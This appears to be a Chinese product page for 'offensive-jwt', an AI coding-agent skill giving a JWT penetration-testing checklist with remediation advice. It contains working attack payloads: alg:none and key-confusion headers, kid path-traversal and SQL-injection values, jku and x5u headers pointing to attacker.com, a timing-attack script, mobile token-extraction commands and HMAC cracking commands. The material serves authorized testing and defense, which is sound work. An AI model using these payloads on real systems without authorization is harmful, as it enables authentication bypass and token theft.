关于 offensive-jwt
offensive-jwt 是用于授权安全测试的 JWT 检查清单,涵盖令牌发现、验证与密钥处理测试、移动端存储检查及修复建议。
主要功能
- 01JWT 发现与声明检查
- 02算法及签名验证测试
- 03请求头与密钥加载攻击检查
- 04移动端令牌存储审查
- 05JWT_Tool 自动化测试指引
- 06令牌验证修复建议
适用场景
- 01审计 Web API 的 JWT 身份验证
- 02测试算法混淆与弱密钥
- 03检查移动应用中的令牌存储
- 04核查声明验证和令牌暴露
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-jwt安装后在 Claude Code 中输入/offensive-jwt确认已加载。
详细介绍
概述
面向进攻性安全测试的全面 JWT 攻击检查清单。按顺序执行步骤;针对当前目标环境应用每种技术,并跟踪已完成的项目。
快速参考:需要检查的错误配置
- 算法设为
none— 完全绕过签名验证 - 算法在
RSA和HMAC之间切换(混淆攻击) - HMAC 密钥较弱或容易猜测(可通过暴力破解)
- 接受
kid、jku、jwk、x5u标头参数而不进行验证 - 服务器接受已过期或遭篡改的令牌
- 负载中存储了未加密的敏感数据
实用工具:JWT Tool
机制
JWT(RFC 7519)由三个经过 Base64URL 编码的部分组成:header.payload.signature。
签名算法:
| 算法 | 类型 | 说明 |
|---|---|---|
| HS256/384/512 | 对称 HMAC | 共享密钥;混淆攻击目标 |
| RS256/384/512 | 非对称 RSA | 公钥可能被滥用为 HMAC 密钥 |
| ES256/384/512 | 非对称 ECDSA | |
| PS256/384/512 | RSASSA-PSS | |
| EdDSA (Ed25519/Ed448) | 非对称 | |
| none | 无签名 | 极不安全 |
其他陷阱:
- JWS/JWE 混淆:服务器在预期接收已签名令牌(JWS)时接受加密令牌(JWE),或在遇到意外的
typ/cty时默认放行 - JWKS 获取:通过
jku/x5u触发 SSRF、TLS 不安全、密钥缓存遭投毒、kid冲突 - 令牌绑定(DPoP、mTLS):实现不当会允许从其他客户端重放令牌
探查:识别 JWT 用法
- 检查所有请求中的
Authorization: Bearer <token>标头 - 查找包含 JWT 结构(
eyJ...)的 Cookie - 检查浏览器的本地存储/会话存储
- 在 jwt.io 或通过 BurpSuite JWT 扩展解码令牌 — 检查声明和标头参数
- 注意标头中的任何
kid、jku、jwk、x5u字段 — 这些都是攻击面
漏洞图谱
JWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validated
漏洞
算法漏洞
- alg:none — 当
alg为none或其大小写变体(None、NONE、nOnE)时,某些库会禁用签名验证 - 算法混淆(RS256→HS256) — 攻击者将
alg切换为 HS256 后,服务器会将 RSA 公钥用作 HMAC 密钥;攻击者使用该公钥重新签署令牌 - 密钥 ID(
kid)操纵 — 利用kid加载错误密钥或注入文件路径/SQL;应强制执行严格查找
签名漏洞
- HMAC 密钥较弱 — 可通过字典攻击或 hashcat 暴力破解
- 缺少签名验证 — 未经任何验证就接受令牌
- 验证失效 — 签名检查逻辑中的实现错误
实现问题
- 缺少声明验证 — 未验证
exp、nbf、aud、iss - 熵不足 — JWT ID 或令牌可预测
- 无过期时间 — 令牌永久有效
- 传输不安全 — 令牌通过 HTTP 发送
- 调试信息泄露 — 详细的错误消息暴露实现细节
标头注入攻击
- JWK 注入 — 通过
jwk标头提供由攻击者控制的自定义公钥 - JKU 操纵 — 将
jku(JWK 集合 URL)指向攻击者控制的 JWKS 端点 - x5u 滥用 — 加载不可信的 X.509 密钥 URL;利用宽松的 TLS 验证或开放重定向
- JWKS 缓存投毒 — 通过
kid冲突或响应标头操纵,迫使缓存接受攻击者的密钥 crit标头滥用 — 服务器忽略未知的关键参数,从而实现绕过
信息泄露
- 负载中存储了未加密的敏感数据(个人身份信息、凭据、会话详情)
- 声明中泄露内部服务/后端信息
其他攻击向量
移动应用 JWT 存储
Android:
SharedPreferences:检查是否可被全局读取;位置为/data/data/<package>/shared_prefs/- 提取 Keystore:使用已 root 的设备或利用应用漏洞
- 提取备份:
adb backup -f backup.ab <package>(如果allowBackup=true) - 工具:Frida、objection、MobSF
iOS:
- Keychain:检查
kSecAttrAccessible——kSecAttrAccessibleAlways不安全 - 提取 iTunes/iCloud 备份:未加密的备份会暴露 Keychain
- 越狱 + Keychain-Dumper 可完整提取
- 工具:Frida、objection、idb
React Native / Hybrid:
AsyncStorage以纯文本形式存储(Android SQLite DB、iOS plist);默认不加密
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT 混淆攻击
- SAML-JWT 混淆 —— 应用同时接受 SAML 和 JWT;在预期接收 SAML 时发送 JWT,反之亦然,以利用验证较弱的路径
- API Key-JWT 混淆 —— 测试在预期接收 API key 时发送 JWT,反之亦然
- 会话 Cookie-JWT 混合 —— 测试使用有效会话 Cookie 搭配已过期的 JWT;将 JWT 声明注入会话
- OAuth 令牌混淆 —— 向预期接收不透明访问令牌的资源服务器发送 ID 令牌(JWT)
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
HMAC 上的时序攻击
非恒定时间比较会通过响应时间差异逐个泄露 HMAC 密钥字符。
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start
# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
URL 参数中的 JWT
- GET URL 中的令牌会出现在服务器日志、代理日志和浏览器历史记录中
- 令牌会通过
Referer标头泄露给外部站点;CDN/缓存日志也可能会持久保存令牌
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
检查 Wayback Machine 中是否有包含令牌的历史 URL;监控发送到第三方分析服务的 Referer 标头。
手动测试步骤
-
解码并检查:
base64url_decode(header) . base64url_decode(payload) . signature -
测试
none算法(尝试所有大小写变体):{"alg":"none","typ":"JWT"}.payload."" {"alg":"None","typ":"JWT"}.payload."" {"alg":"NONE","typ":"JWT"}.payload."" {"alg":"nOnE","typ":"JWT"}.payload."" -
算法混淆(RS256→HS256):
# Re-sign with RSA public key used as HMAC secret {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret> -
kid 参数攻击:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"} {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"} {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"} -
JWK/JKU 注入:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}} {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"} -
x5u / crit 处理:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null} -
暴力破解 HMAC 密钥:
python3 jwt_tool.py <token> -C -d wordlist.txt -
测试缺失声明的验证:
- 移除或修改
exp(过期时间) - 更改
iss(签发者)或aud(受众) - 修改
iat(签发时间)或nbf(生效时间)
- 移除或修改
使用 JWT_Tool 进行自动化测试
# Basic token inspection
python3 jwt_tool.py <token>
# Full vulnerability scan
python3 jwt_tool.py <token> -M all
# Targeted attacks
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt
其他工具:
- JWT.io —— 基础令牌检查和调试
- Burp Suite JWT Scanner / JWT Editor 扩展 —— 自动化测试和令牌编辑
- jwtXploiter —— 高级 JWT 漏洞扫描
- c-jwt-cracker —— 高速 HMAC 暴力破解(C 实现)
- Frida、objection、MobSF —— 移动端 JWT 提取
修复建议
- 使用短期访问令牌;频繁轮换刷新令牌
- 始终验证
aud(受众)和iss(签发者)声明 - 禁用
none算法;防止算法降级;按客户端/签发者固定alg - 确保用于验证的密钥材料与
alg匹配;拒绝不匹配的情况 - 拒绝包含未知
crit标头参数的令牌 - 通过固定的 TLS 验证 JWKS;除受信任的域名外,禁止使用远程
jku/x5u;采用短 TTL 的密钥缓存,并确保kid唯一 - 强制限制令牌的最大长度;除非必要,否则禁用 JWE 压缩
- 维护以
jti为键的服务器端拒绝列表,以便提前撤销 - 对于 DPoP 令牌(
typ:"dpop+jwt"):验证证明是否绑定到 HTTP 请求;强制 nonce 只能使用一次 - 尽可能将会话绑定到设备;每次使用后轮换刷新令牌
- Web 场景优先使用
SameSite=Lax/Strict的 HttpOnly Cookie;避免将访问令牌存储在 localStorage 中
替代方案与现代缓解措施
- PASETO —— 完全移除算法协商;消除混淆攻击
- Macaroons —— 支持基于限制条件逐步委派的持有者令牌
- DPoP 和 mTLS —— 将令牌绑定到客户端,防止重放
评论
支持 Markdown